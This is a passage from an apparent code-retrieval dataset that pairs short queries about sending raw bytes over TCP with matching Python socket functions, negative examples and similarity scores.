\\n # Add copy to link buffer\\n logger.debug(\\\"%s: Loop-back port write started...\\\" % \\\\\\n self.__class__.__name__)\\n if message != None:\\n raw = message.raw_string()\\n elif not isinstance(raw,str):\\n raw = utils.to_ascii(raw)\\n self._link.put(raw)\\n logger.debug(\\\"%s: ...loop-back port write complete.\\\" % \\\\\\n self.__class__.__name__)\\n logger.info(\\\"%s: Wrote %d bytes:\\\\n%s\\\" % \\\\\\n (self.__class__.__name__, len(raw),\\n ' '.join(map(utils.hex,map(ord,raw)))))\",\n \"def send_message(self, msg, stats=True, binary=False):\\n raise NotImplemented()\",\n \"def send_message(self, message):\\n\\n self.socket.send(message.serialize())\",\n \"async def send(self):\",\n \"def send(self, message):\\n self.sock.send(message)\",\n \"def prepare(self, data):\\n\\n buffer = []\\n try:\\n self.sendraw = buffer.append\\n self.send(data)\\n finally:\\n del self.sendraw\\n return buffer[0]\",\n \"def _send(self) -> None:\\n if not self.connected or now() < self.next_send:\\n return\\n self.next_send += self.poll_interval\\n buff = []\\n while self.outq:\\n msg_id, tag, data = self.outq.popleft()\\n buff.append(pickle.dumps((msg_id, tag, data)))\\n if buff:\\n stream = b\\\"\\\".join(buff)\\n self.endpoint.sendall(stream)\",\n \"def send_message(self, message):\\n encoded_message = self.encode_message(message)\\n self.socket.send(encoded_message)\",\n \"def send_message(self, msg):\\n if msg is None:\\n raise ValueError('message cannot be None!')\\n\\n if not isinstance(msg, message.Message):\\n raise ValueError('message must be a type of Message')\\n\\n message_json = json.dumps(msg.__dict__)\\n message_length = len(message_json)\\n message_length_binary = struct.pack('>I', message_length)\\n\\n logging.info(\\\"Send: {0}\\\".format(message_json))\\n\\n self.sck.send(message_length_binary)\\n self.sck.send(message_json)\",\n \"def send(event=None): #event is passed by binders.\\n try:\\n msg = my_msg.get()\\n my_msg.set(\\\" \\\") #Clears input field.\\n client_socket.send(bytes(msg, \\\"utf8\\\"))\\n \\n except:\\n \\n HOST = '10.0.0.8'\\n PORT = 8081\\n ADDR = (HOST, PORT)\\n \\n s = socket(AF_INET, SOCK_STREAM)\\n client_socket.bind(ADDR)\\n s.connect((HOST, PORT))\\n s.send(msg)\\n \\n if msg == \\\"{quit}\\\":\\n client_socket.close()\\n top.destroy()\",\n \"def onMessageBegin(self, isBinary):\",\n \"def send(self, msg):\\n if self.isConnected():\\n pmsg = pickle.dumps(msg)\\n if COMPRESS:\\n pmsg = zlib.compress(pmsg)\\n buffer = QByteArray()\\n stream = QDataStream(buffer, QIODevice.WriteOnly)\\n stream.setVersion(QDataStream.Qt_5_3)\\n stream.writeUInt32(len(pmsg))\\n stream.writeRawData(pmsg)\\n bytesWritten = self.tcpsocket.write(buffer)\\n self.tcpsocket.flush()\\n self.tcpsocket.waitForBytesWritten()\\n # qApp.processEvents() # send data immediately and don't wait for next mainloop\\n logging.debug(\\\"Bytes written: %i\\\", bytesWritten)\\n if bytesWritten > 0:\\n return True\\n else:\\n logging.debug(\\\"Message not send. Not connected\\\")\\n return False\",\n \"def TCP(conn, addr):\\n buffer = array('B', [0] * 300)\\n cnt = 0\\n while True:\\n if cnt < 60000: cnt = cnt + 1\\n else: cnt = 1\\n try:\\n conn.recv_into(buffer)\\n TID0 = buffer[0] #Transaction ID to sync\\n TID1 = buffer[1] #Transaction ID \\n ID = buffer[6] #Unit ID\\n FC = buffer[7]\\n mADR = buffer[8]\\n lADR = buffer[9]\\n ADR = mADR * 256 + lADR\\n LEN = buffer[10] * 256 + buffer[11]\\n BYT = LEN * 2\\n print(\\\"Received = \\\", buffer[0:13 + buffer[12]])\\n if (FC in [1, 2, 3, 4]): # Read Inputs or Registers\\n DAT = array('B')\\n if FC < 3:\\n BYT = ceil(LEN / 8) # Round off the no. of bytes\\n v = 85 # send 85,86.. for bytes.\\n for i in range(BYT):\\n DAT.append(v)\\n v = (lambda x: x + 1 if (x < 255) else 85)(v)\\n else:\\n DAT = array('B', np.arange(cnt, LEN+cnt, dtype=np.dtype('>i2')).tobytes())\\n print(\\\"TID = %d, ID= %d, Fun.Code= %d, Address= %d, Length= %d\\\" \\\\\\n %((TID0 * 256 + TID1), ID, FC, ADR, LEN))\\n conn.send(\\n array('B', [TID0, TID1, 0, 0, 0, BYT + 3, ID, FC, BYT]) + DAT)\\n elif (FC in [5, 6, 15, 16]): # Write Registers\\n BYT = buffer[12]\\n conn.send(\\n array('B', [TID0, TID1, 0, 0, 0, 6, ID, FC, mADR, lADR, buffer[10], buffer[11]]))\\n buf = buffer[13:(13 + BYT)]\\n print(\\\"TID = %d, ID= %d, Fun.Code= %d, Address= %d, Length= %d, Bytes= %d\\\" \\\\\\n %((TID0 * 256 + TID1), ID, FC, ADR, LEN, BYT))\\n if FC == 5 or FC == 15:\\n message = 'bytes: '+ str(unpack('B' * BYT, buf))\\n elif FC == 6 or FC == 16:\\n message = str(unpack('>' + 'H' * int(BYT / 2), buf))\\n print(\\\"Received Write Values =\\\", message)\\n else:\\n print(\\\"Funtion Code %d Not Supported\\\" % FC)\\n exit()\\n except Exception as e:\\n print(e, \\\"\\\\nConnection with Client terminated\\\")\\n exit()\",\n \"def _send(self, data, newline=\\\"\\\\r\\\\n\\\", sock=None):\\n self.outbuff.append(data+newline)\\n for msg in self.outbuff:\\n if self.print_raw:\\n logger.debug(msg.strip())\\n self.sock.sendall((msg+newline).encode(\\\"utf-8\\\"))\",\n \"def send_msg(sock, msg):\\n\\n # Stores the length of message in big-endian order\\n msg = struct.pack('>I', len(msg)) + msg\\n\\n # Writes all bytes to the stream\\n sock.sendall(msg)\",\n \"def send(self, data):\\n pass\",\n \"def sendMessageFrame(self, payload, sync=False):\",\n \"def send(self, message, header='message'):\\n if not message: return\\n self.socket.sendall((header+':'+message).encode())\",\n \"def send(self):\\n if self.pending_messages:\\n (this_message, self.pending_messages) = (self.pending_messages[0], self.pending_messages[1:])\\n encoded_message = json.dumps(this_message).encode()\\n if bytes_in_representation(len(encoded_message)) > self.byte_count_size:\\n raise RuntimeError(\\n \\\"?? excessive length (%d) for outgoing text (%s)\\\" % (len(encoded_message), this_message))\\n #\\n # finally, send outgoing byte count, followed by message\\n #\\n self.socket_.sendall(\\n socket.htons(len(encoded_message)).to_bytes(self.byte_count_size, byteorder=sys.byteorder, signed=False) + encoded_message)\",\n \"def sendall(self, s):\\r\\n self.write(s)\",\n \"def send(self, message):\\n \\n #message = zlib.compress(message, 9)\\n #message += \\\"\\\\nEOF\\\\n\\\"\\n #print message\\n try:\\n self._send_and_receive(message)\\n except socket.error as e:\\n if e.errno == errno.EPIPE:\\n self._connect_socket()\\n self._send_and_receive(message)\\n else:\\n print(e)\\n self.close_and_exit()\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.711327","0.67403096","0.6615937","0.65647995","0.6527725","0.6427289","0.63520473","0.6343768","0.63324654","0.63252115","0.62935925","0.626896","0.6267537","0.6251001","0.6248931","0.6226685","0.6206426","0.61644304","0.6148088","0.6148088","0.6143113","0.6139445","0.61303896","0.6100812","0.6089575","0.60856825","0.6071283","0.60694915","0.6053853","0.6019703","0.6018782","0.6016626","0.59965885","0.5980615","0.59554946","0.59351945","0.59037375","0.58903086","0.5879351","0.5879351","0.5879351","0.5878204","0.58749235","0.58579004","0.5824849","0.5805511","0.5804532","0.5802182","0.5798633","0.57908034","0.5790745","0.578795","0.5778483","0.5772415","0.5770599","0.57496196","0.5732565","0.5725379","0.5725379","0.5709043","0.5708589","0.57080984","0.57080984","0.5705794","0.5700321","0.5697184","0.5692836","0.56898206","0.5689577","0.56877","0.5683444","0.5681531","0.5677466","0.5672722","0.5667497","0.5667429","0.56670874","0.56580484","0.56564945","0.5648823","0.5639648","0.5637244","0.5624136","0.56231004","0.5618002","0.56179005","0.5617044","0.5616424","0.560925","0.56092197","0.55980617","0.55955017","0.5594665","0.5593965","0.5591057","0.55828744","0.55826503","0.5578653","0.5565289","0.55615383"],"string":"[\n \"0.711327\",\n \"0.67403096\",\n \"0.6615937\",\n \"0.65647995\",\n \"0.6527725\",\n \"0.6427289\",\n \"0.63520473\",\n \"0.6343768\",\n \"0.63324654\",\n \"0.63252115\",\n \"0.62935925\",\n \"0.626896\",\n \"0.6267537\",\n \"0.6251001\",\n \"0.6248931\",\n \"0.6226685\",\n \"0.6206426\",\n \"0.61644304\",\n \"0.6148088\",\n \"0.6148088\",\n \"0.6143113\",\n \"0.6139445\",\n \"0.61303896\",\n \"0.6100812\",\n \"0.6089575\",\n \"0.60856825\",\n \"0.6071283\",\n \"0.60694915\",\n \"0.6053853\",\n \"0.6019703\",\n \"0.6018782\",\n \"0.6016626\",\n \"0.59965885\",\n \"0.5980615\",\n \"0.59554946\",\n \"0.59351945\",\n \"0.59037375\",\n \"0.58903086\",\n \"0.5879351\",\n \"0.5879351\",\n \"0.5879351\",\n \"0.5878204\",\n \"0.58749235\",\n \"0.58579004\",\n \"0.5824849\",\n \"0.5805511\",\n \"0.5804532\",\n \"0.5802182\",\n \"0.5798633\",\n \"0.57908034\",\n \"0.5790745\",\n \"0.578795\",\n \"0.5778483\",\n \"0.5772415\",\n \"0.5770599\",\n \"0.57496196\",\n \"0.5732565\",\n \"0.5725379\",\n \"0.5725379\",\n \"0.5709043\",\n \"0.5708589\",\n \"0.57080984\",\n \"0.57080984\",\n \"0.5705794\",\n \"0.5700321\",\n \"0.5697184\",\n \"0.5692836\",\n \"0.56898206\",\n \"0.5689577\",\n \"0.56877\",\n \"0.5683444\",\n \"0.5681531\",\n \"0.5677466\",\n \"0.5672722\",\n \"0.5667497\",\n \"0.5667429\",\n \"0.56670874\",\n \"0.56580484\",\n \"0.56564945\",\n \"0.5648823\",\n \"0.5639648\",\n \"0.5637244\",\n \"0.5624136\",\n \"0.56231004\",\n \"0.5618002\",\n \"0.56179005\",\n \"0.5617044\",\n \"0.5616424\",\n \"0.560925\",\n \"0.56092197\",\n \"0.55980617\",\n \"0.55955017\",\n \"0.5594665\",\n \"0.5593965\",\n \"0.5591057\",\n \"0.55828744\",\n \"0.55826503\",\n \"0.5578653\",\n \"0.5565289\",\n \"0.55615383\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.74798274"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":80093,"cells":{"query":{"kind":"string","value":"sendTCP_raw_bytes same as sendTCP_raw_singe but for raw bytes"},"document":{"kind":"string","value":"def sendTCP_raw_bytes(data,ip,port):\n s=socket.socket()\n s.settimeout(3)\n s.connect((ip,port))\n s.send(data)\n #print (\"RetVal: %s\" % s.recv(1000))\n return s.recv(1000)"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def send_bytes(self, data: bytes) -> None:","async def send_raw(self, data: bytes) -> None:\n await self.socket.sendall(data)","def send(self, data: bytes):","def send_bytes(self, bytearray):\r\n try:\r\n self.socket.send(bytearray)\r\n except:\r\n # print(\"Socket broken in send\")\r\n return","def sendTCP_raw_single(m,ip,port):\n s=socket.socket()\n s.settimeout(1)\n s.connect((ip,port))\n s.send(m.data)\n #print (\"RetVal: %s\" % s.recv(1000))\n return s.recv(1000)","def _send(self, raw, addr):\n raise NotImplementedError('implement using any Transport Layer')","def send(self, data: bytes) -> int:\n ...","def sendRaw(self, msg, echo = False):\n\n sent = self.__sock.send(msg)\n if sent > 0 and echo:\n print \"Sent: %s\"%msg,","def _writeBytes(self, b):\n self.socket.send(b)","def send_bytes(self, data):\n raw_data = bytes(data)\n\n attempts = 0\n while True:\n try:\n self._sock.sendall(raw_data)\n return\n except (socket.timeout, BrokenPipeError):\n print('in socket exeption....')\n if (attempts < self._retries):\n attempts += 1\n self._sock.close()\n self._sock.connect((self._ip, self._port))\n else:\n raise","def send_raw_pack(self, raw_data):\n if self.append_connect:\n return\n self.append_send_buffer += raw_data\n self.handle_write()","def send_raw_pack(self, raw_data):\n if self.append_connect:\n return\n self.append_send_buffer += raw_data\n self.handle_write()","def _raw(self, txt):\n\n if not txt:\n return\n\n rlog(2, self.name + '.sending', txt)\n\n try:\n self.lastoutput = time.time()\n itxt = toenc(outputmorphs.do(txt), self.encoding)\n if self.ssl:\n self.sock.write(itxt + '\\n')\n else:\n self.sock.send(itxt[:500] + '\\n')\n except Exception, ex:\n # check for broken pipe error .. if so ignore \n # used for nonblocking sockets\n try:\n (errno, errstr) = ex\n if errno != 32 and errno != 9:\n raise\n else:\n rlog(10, self.name, 'broken pipe/bad socket error .. ignoring')\n except:\n rlog(10, self.name, \"ERROR: can't send %s\" % str(ex))\n self.reconnect()","def send(self, bytestream):\n total_sent = 0\n length_data = len(bytestream)\n try:\n while total_sent < length_data:\n # Returns the number of bytes sent\n nr_sent = self.socket.send(bytestream[total_sent:])\n total_sent += nr_sent\n except (socket.error, socket.timeout):\n # Evt17: Transport connection closed\n self.event_queue.put('Evt17')","def send_raw_pack(self, raw_data):\n self.append_send_buffer += raw_data\n LOGGER.debug(\"local session send_raw_pack %s\", raw_data)\n if not self.append_connect:\n self.handle_write()","def test_short_bytes(self):\n server, client = loopback()\n count = server.send(b\"xy\")\n assert count == 2\n assert client.recv(2) == b\"xy\"","def sendraw(self, txt):\n\n if self.stopped:\n return\n rlog(2, self.name + '.sending', txt)\n self._raw(txt)","def send(self, bytes: bytes):\n assert self.status == Status.Active, \"Connection not established yet. Use sendto instead.\"\n #############################################################################\n # TODO: YOUR CODE HERE #\n #############################################################################\n\n # 将要发送数据拆分放入transmit queue等待transmit thread处理\n u = 0\n v = DATA_LEN\n while u < len(bytes):\n self.transmit_queue.put({'data': bytes[u:v], 'is_end': v >= len(bytes)})\n u = v\n v += DATA_LEN\n\n #############################################################################\n # END OF YOUR CODE #\n #############################################################################","async def send_raw(self, raw_message : str):\n await self._connection.send_raw(raw_message)","def test_short_bytearray(self):\n server, client = loopback()\n count = server.send(bytearray(b\"xy\"))\n assert count == 2\n assert client.recv(2) == b\"xy\"","def req_stream_bin(self):\n meassage = b'SUP 23 1' + self.end_mess_bytes\n print('Requesting binary stream...')\n self.sock.sendall(meassage)","def _send_from_buffer(cls, buf, stream):\n remaining_bytes = len(buf)\n while remaining_bytes > 0:\n next_chunk_bytes = min( remaining_bytes, VoxelsNddataCodec.STREAM_CHUNK_SIZE )\n chunk_start = len(buf)-remaining_bytes\n chunk_stop = len(buf)-(remaining_bytes-next_chunk_bytes)\n stream.write( buf[chunk_start:chunk_stop] )\n remaining_bytes -= next_chunk_bytes","def _send(self, p: str, s) -> bytes:\n\n b = self._to_netstring(p.encode('ascii'))\n\n failure = s.sendall(b)\n if failure is not None:\n self._send(p, s)\n return b","def send(self, bytes:bytes):\n assert self._send_to, \"Connection not established yet. Use sendto instead.\"\n #############################################################################\n # TODO: YOUR CODE HERE #\n #############################################################################\n raise NotImplementedError()\n #############################################################################\n # END OF YOUR CODE #\n #############################################################################","def sendraw(self, st):\n\n st = self.as_str(st)\n\n if '\\n' in st or '\\r\\n' in st:\n raise ValueError('cannot send strings with newline characters')\n _python_print_function(st, file=self.stdout or sys.stdout)","def send(self, data):","def net_send(out_data: bytes, conn: socket.socket) -> None:\n print(\"Sending {} bytes\".format(len(out_data)))\n conn.send(out_data)","def _try_send_raw(self, raw_data):\r\n if self.connected:\r\n try:\r\n self.socket.send(raw_data)\r\n except Exception as exc:\r\n self.debug(exc)\r\n self.connected = False\r\n self.socket.close()","def send_back_binary(self, bin):\n data = bin.data\n print('send_back_binary({!r})'.format(data))\n response = Binary(data)\n return response","def test_send(self):\n self.inverter.send(b\"\\x00\\x01\\x02\", b\"\")\n received_message = self.sock.recv(4096)\n self.assertEqual(message, received_message)","def send(self, data: bytes) -> int:\n return self.connection.send(data)","def _send(self, data: bytes):\n if self._pre_send is not None:\n data = self._pre_send(data)\n if data is None:\n return\n\n self._transport.sendto(data, self._peer)","def send_data(self, msg):\n totalsent = 0\n # tt= struct.unpack('c'*len(msg), msg)\n # print(tt)\n while totalsent < len(msg):\n try:\n sent = self.sockfd.send(msg)\n except:\n print(f'{self.ip} socket failed')\n break\n if sent == 0:\n raise RuntimeError(\"Socket connection broken\")\n totalsent = totalsent + sent","def raw_socket(self) -> SocketType:","def send(self, byte: bytes): # 发送TCP数据，将string中的数据发送到连接的套接字。返回值是要发送的字节数量，该数量可能小于string的字节大小。\n # assert self._send_to, \"Connection not established yet. Use sendto instead.\"\n #############################################################################\n # TODO: YOUR CODE HERE #\n #############################################################################\n if self.isConnected:\n self.pktTime.clear() # 初始化发包时间\n pieces_size = 100\n datas = self.slice_into_pieces(byte, pieces_size) # 将包切片\n print('send:need to send {} pkts'.format(len(datas)))\n sw = SendingWindow(window_size=10, datas=datas, sender_time_out_method=self.sender_time_out) # 初始化发送窗口\n ack_finish = False\n for seq, seg in sw.buffer.items(): # 将窗口内的包发送\n print(\"send:send pkt \", seg.seqNumber)\n # time.sleep(self.RTT)\n self.sendto(seg.getSegment(), self.connectAddr)\n self.pktTime[seq] = time.time()\n\n while ack_finish is False: # 开始发送\n\n buffer, addr = self.recvfrom(1024) # 接受ack信息\n\n # head = buffer[:18]\n seg = segment.parse(buffer)\n\n #如果现在检测到对方在发，那么久改为recv模式\n if seg.payload!=b'':\n\n #TODO: 保守之策\n data = self.recv(2048)\n return\n\n if segment.Checksum(seg) is False:\n print('send: Check sum false')\n continue\n\n if seg.ackNumber in sw.buffer.keys():\n print(f'send: seg ack number {seg.ackNumber} in sw keys {sw.buffer.keys()} and payload is {str(seg.payload)}')\n con = sw.ack(seg.ackNumber) # 通知发送窗口接收到了包并且返回结果\n error = time.time() - self.pktTime[seg.ackNumber]\n self.RTT = self.RTT * (1 - self.rttRate) + self.rttRate * error\n sw.time_out = self.RTT\n\n if type(con) == list: # 返回结果:链表,链表中是滑动窗口后新加入的包,将其一一发送\n # print('sender: start to slide send window')\n for segg in con:\n # TODO:ADD TIME OUT\n # time.sleep(self.RTT)\n print(\"send:send pkt \", segg.seqNumber)\n self.sendto(segg.getSegment(), self.connectAddr)\n self.pktTime[segg.seqNumber] = time.time()\n\n elif con==True: # 返回结果:真,说明发送完毕\n ack_finish = True\n # print('sender: send finish')\n else:\n print(f'send: seg ack number {seg.ackNumber} not in sw keys {sw.buffer.keys()}')\n\n #############################################################################\n # END OF YOUR CODE #\n #############################################################################","def send_message(self, message):\r\n\t\tself.__tcpSocket.write(message.encode('utf8'))","def sendMessage(self, payload, isBinary):","def __send_request(self, msg, sock):\n if type(msg) != bytes:\n response = bytes(f\"{msg}\", \"ascii\")\n print(f\"--> Sending: {msg}\")\n sock.sendall(response)","def send_packet(sender, payload):\n sender.write(payload)","def send_packet(sender, payload):\n\n sender.write(payload)","def sendsafe(self, data):\n\n import base64\n\n data = base64.b85encode(self.as_bytes(data))\n return self.sendraw(data)","def sendData(data):\n\n\tslen = struct.pack('<I', len(data))\n\t#connSock.sendall(slen + data)\n\tconnSock.sendall(slen)\n\tconnSock.sendall(data)\n\n\treturn 0","def send(socket, img_array):\n packed_image = msgpack.packb(img_array, default=mn.encode)\n socket.send(packed_image)","def _writeBytes(self, b):\n self.stream.write(b)\n self.stream.flush()","def send(self, data, is_chunked=False):\r\n if self.sock is None:\r\n if self.auto_open:\r\n self.connect()\r\n else:\r\n raise NotConnected()\r\n\r\n if self.debuglevel > 0:\r\n print \"send:\", repr(data)\r\n blocksize = 8192\r\n if hasattr(data, 'read') and not isinstance(data, array):\r\n if self.debuglevel > 0:\r\n print \"sendIng a read()able\"\r\n datablock = data.read(blocksize)\r\n while datablock:\r\n if self.debuglevel > 0:\r\n print 'chunked:', is_chunked\r\n if is_chunked:\r\n if self.debuglevel > 0:\r\n print 'send: with trunked data'\r\n lenstr = string.upper(hex(len(datablock))[2:])\r\n self.sock.sendall('%s\\r\\n%s\\r\\n' % (lenstr, datablock))\r\n else:\r\n self.sock.sendall(datablock)\r\n datablock = data.read(blocksize)\r\n if is_chunked:\r\n self.sock.sendall('0\\r\\n\\r\\n')\r\n else:\r\n self.sock.sendall(data)","def send(message):\n\tmessage = message.encode()\n\tconn.send(message)","def __recvall(self, bytes):\r\n data = \"\"\r\n while len(data) < bytes:\r\n data = data + self.recv(bytes-len(data))\r\n return data","def send_message(self, message, raw = None):\n \n # Message Data\n if message != None:\n raw = message.raw_string()\n elif not isinstance(raw,str) and not isinstance(raw,bytes):\n raw = utils.to_bytes(raw)\n \n # Encryption???\n if self._crypt != None:\n logger.debug(\"%s: Encryption started...\" % \\\n self.__class__.__name__)\n \n # padd the bytes to a multiple of the block size\n raw += self._rand.read(self._crypt.block_size - \n (len(raw)%self._crypt.block_size))\n \n # perform the encryption\n raw = self._crypt.encrypt(raw)\n logger.debug(\"%s: ...encryption complete.\" % \\\n self.__class__.__name__)\n \n # Send Message\n try:\n logger.debug(\"%s: Socket write started...\" % \\\n self.__class__.__name__)\n if self._addr == None:\n sent = self._socket.send(raw)\n else:\n sent = self._socket.sendto(raw, self._addr)\n if sent == len(raw):\n logger.debug(\"%s: ...Socket write complete.\" % \\\n self.__class__.__name__)\n if isinstance(raw,str):\n logger.info(\"%s: Wrote %d bytes:\\n%s\" % \\\n (self.__class__.__name__, sent,\n ' '.join(map(utils.hex,map(ord,raw[:sent])))))\n else:\n logger.info(\"%s: Wrote %d bytes:\\n%s\" % \\\n (self.__class__.__name__, sent,\n ' '.join(map(utils.hex,raw[:sent]))))\n if sent < len(raw):\n logger.error(\"%s: Socket write incomplete!\" % \\\n self.__class__.__name__)\n raise utils.TransportError (\"Write Incomplete!\")\n \n # Send Failed\n except socket.error as ex:\n if ex.args[0] != 104:\n logger.error(\"%s: ...Socket has been closed.\" % \\\n (self.__class__.__name__))\n self.close()\n logger.error(\"%s: ...Socket write failed:\\n%s\" % \\\n (self.__class__.__name__,str(ex)))\n raise utils.TransportError \\\n (\"Socket Message send failed!\\n\" + str(ex))","async def send(self, *args: Union[bytes, str]) -> None:\n # Convert all args to bytes if not already\n bargs = []\n for arg in args:\n if isinstance(arg, str):\n bargs.append(arg.encode())\n elif isinstance(arg, bytes):\n bargs.append(arg)\n else:\n raise IRCClientError('Refusing to send one of the args from provided: %s'\n % repr([(type(arg), arg) for arg in args]))\n\n msg = b\" \".join(bargs)\n await self.send_raw(msg + b\"\\r\\n\")\n logging.info('---> send \"%s\"' % msg)","def _send_body(self, body, body_type):\n if body_type == BODY_FLAT:\n # Special case for files and other 'readable' objects.\n if hasattr(body, 'read'):\n while True:\n block = body.read(16*1024)\n if not block:\n break\n\n try:\n self._sock.send(block)\n except TypeError:\n raise ValueError(\n \"File objects must return bytestrings\"\n )\n\n return\n\n # Case for bytestrings.\n elif isinstance(body, bytes):\n self._sock.send(body)\n\n return\n\n # Iterables that set a specific content length.\n else:\n for item in body:\n try:\n self._sock.send(item)\n except TypeError:\n raise ValueError(\"Body must be a bytestring\")\n\n return\n\n # Chunked! For chunked bodies we don't special-case, we just iterate\n # over what we have and send stuff out.\n for chunk in body:\n length = '{0:x}'.format(len(chunk)).encode('ascii')\n\n # For now write this as four 'send' calls. That's probably\n # inefficient, let's come back to it.\n try:\n self._sock.send(length)\n self._sock.send(b'\\r\\n')\n self._sock.send(chunk)\n self._sock.send(b'\\r\\n')\n except TypeError:\n raise ValueError(\n \"Iterable bodies must always iterate in bytestrings\"\n )\n\n self._sock.send(b'0\\r\\n\\r\\n')\n return","def send(self, data: bytes):\n\n self.client.sendall(data)\n\n return len(data)","def send_msg(sock, msg):\n msg += '\\0'\n data = msg.encode('utf-8')\n sock.sendall(data)","def sendBuffer():\n dislin.sendbf()","def send(self,data):\n\t\ttry:\n\t\t\tif len(self.protocol) > 1:\n\t\t\t\tfor protocol in reversed(self.protocol[1:]):\n\t\t\t\t\tdata = protocol.encode(data)\n\t\t\tself.protocol[0].sendTcpSocket(data, self.socket)\n\t\texcept protocols.ProtocolIsNotRespectedError as e:\n\t\t\traise CouldNotSendRequestError(\"\", e)\n\t\texcept Exception as e:\n\t\t\traise SocketError(\"Client socket died\", e)","def sendString(self, data):\n self.transport.write(pack(\"!i\",len(data))+data)","def send(self, data:bytes):\n packet = Rudp.Packet(self.seq, 0, data)\n packet.timesamp = time()\n self.sendPacket(packet)\n self.seqPlusOne()\n return(packet)","def SendData(self, data, conn = None, is_string = True):\n\t\tif self.is_server == False:\n\t\t\tif self.socket_connected:\n\t\t\t\tconn = self.socket\n\t\t\telse:\n\t\t\t\traise Exception(\"Socket not connected to anything\")\n\t\telse:\n\t\t\tif conn == None:\n\t\t\t\traise AttributeError(\"conn was not specified\")\n\n\t\t# THis works regardless of bnrary format or not\n\t\tsent = conn.sendall(str(len(data)).encode('utf-8'))\n\n\t\t# Very small timer so that the reciving socket has enough time to\n\t\t# process\n\t\ttime.sleep(0.001)\n\n\t\tif sent == 0:\n\t\t\traise RuntimeError(\"Socket connection broken\")\n\n\t\tif is_string:\n\t\t\t# IF string, then encode in utf-8 and then send\n\t\t\tsent = conn.sendall(data.encode('utf-8'))\n\t\telse:\n\t\t\tsent = conn.sendall(data)\n\n\t\tif sent == 0:\n\t\t\traise RuntimeError(\"socket connection broken\")","def true_send(conn, data):\n encrypted_data = key.encrypt(pickle.dumps(data))\n length = str(len(encrypted_data)).zfill(LENGTH).encode()\n data = length + encrypted_data\n conn.send(data)","def Send(self, payload):\n self._sock.send(payload)","def send(self, buf):\n #self._send_lock.acquire()\n self._strtosend.put(buf)\n #self._send_lock.release()","def send(self, data):\n if UdpTransport._sendNeedsStr:\n # This version of sendall can't use a memoryview, etc., so convert.\n self._socket.sendto(str(bytearray(data)), self._address)\n else:\n try:\n self._socket.sendto(data, self._address)\n except TypeError:\n # Assume we need to convert to a str.\n UdpTransport._sendNeedsStr = True\n self.send(data)","def send(self, conn: 'socket.socket', data: Any) -> None:\n packets = json.dumps(data).encode('utf-8')\n value = socket.htonl(len(packets))\n size = struct.pack('L', value)\n\n conn.send(size)\n conn.send(packets)","def send_bytes(msg):\n\t# Set the length of the payload to 8 bytes \n\trfm.write_register(0x3E, len(msg))\n\t# Fill the payload into the transmit FIFO\n\tfor i in np.arange(len(msg)):\n\t\trfm.write_register(0x7F, ord(msg[i]))\n\n\t\"\"\"Disable all interrupts and enable the packet sent interrupt only\"\"\"\n\t# This will be used for indicating the successful packet transmission for the CHIP\n\trfm.write_register(0x05, 0x04) # Write 0x04 to the interrupt enable 1 register\n\trfm.write_register(0x06, 0x00) # Write 0x03 to the Interrute enable 2 register\n\t# Read interrupt status registers to clear pending interrupts making nIRQ pin go back to high\n\tItStatus1 = rfm.read_register(0x03) # Read the Interrupt Status 1 register\n\tItStatus2 = rfm.read_register(0x04) # Read the Interrupt Status 2 register\n\n\t\"\"\"Enable Transmitter\"\"\"\n\t# The radio forms the packet and sends it automatically\n\trfm.write_register(0x07, 0x09) # Write 0x09 to the Operating Function Control 1 register\n\n\t\"\"\"Wait for the packet sent interrupt\"\"\"\n\t# CHIP only needs to monitor the ipksent interrupt\n\twhile rfm.check_irq():\n\t\ttime.sleep(0.001)\n\t# Read interrupt status registers to release the interrupt flags\n\tItStatus1 = rfm.read_register(0x03) # Read the Interrupt Status 1 register\n\tItStatus2 = rfm.read_register(0x04) # Read the Interrupt Status 2 register","def sendrawtransaction(self, hexstring):\n return self.proxy.sendrawtransaction(hexstring)","def send_protocol_message(self, msg):\n self.conn.send(msg + \"\\0\")","def send_frame(self):\n frame = self.frame_buffer.get()\n result, jpeg = cv2.imencode(\".jpg\", frame.nparray)#, self.encode_param)\n data = numpy.array(jpeg)\n string_data = data.tostring()\n self.sock.send(str(len(string_data)).ljust(16))\n self.sock.send(string_data)","def send(send_msg, sock):\r\n send_msg = send_msg.encode()\r\n sock.send(send_msg)\r\n msg = sock.recv(1024)\r\n msg = msg.decode()\r\n return msg","def send(self, data):\n self.socket.sendall(data)","def _send(self, data):\n self._sock.send(self._cipher_tx.crypt(data))","def TCP(conn, addr):\n buffer = array('B', [0] * 300)\n cnt = 0\n while True:\n if cnt < 60000: cnt = cnt + 1\n else: cnt = 1\n try:\n conn.recv_into(buffer)\n TID0 = buffer[0] #Transaction ID to sync\n TID1 = buffer[1] #Transaction ID \n ID = buffer[6] #Unit ID\n FC = buffer[7]\n mADR = buffer[8]\n lADR = buffer[9]\n ADR = mADR * 256 + lADR\n LEN = buffer[10] * 256 + buffer[11]\n BYT = LEN * 2\n print(\"Received = \", buffer[0:13 + buffer[12]])\n if (FC in [1, 2, 3, 4]): # Read Inputs or Registers\n DAT = array('B')\n if FC < 3:\n BYT = ceil(LEN / 8) # Round off the no. of bytes\n v = 85 # send 85,86.. for bytes.\n for i in range(BYT):\n DAT.append(v)\n v = (lambda x: x + 1 if (x < 255) else 85)(v)\n else:\n DAT = array('B', np.arange(cnt, LEN+cnt, dtype=np.dtype('>i2')).tobytes())\n print(\"TID = %d, ID= %d, Fun.Code= %d, Address= %d, Length= %d\" \\\n %((TID0 * 256 + TID1), ID, FC, ADR, LEN))\n conn.send(\n array('B', [TID0, TID1, 0, 0, 0, BYT + 3, ID, FC, BYT]) + DAT)\n elif (FC in [5, 6, 15, 16]): # Write Registers\n BYT = buffer[12]\n conn.send(\n array('B', [TID0, TID1, 0, 0, 0, 6, ID, FC, mADR, lADR, buffer[10], buffer[11]]))\n buf = buffer[13:(13 + BYT)]\n print(\"TID = %d, ID= %d, Fun.Code= %d, Address= %d, Length= %d, Bytes= %d\" \\\n %((TID0 * 256 + TID1), ID, FC, ADR, LEN, BYT))\n if FC == 5 or FC == 15:\n message = 'bytes: '+ str(unpack('B' * BYT, buf))\n elif FC == 6 or FC == 16:\n message = str(unpack('>' + 'H' * int(BYT / 2), buf))\n print(\"Received Write Values =\", message)\n else:\n print(\"Funtion Code %d Not Supported\" % 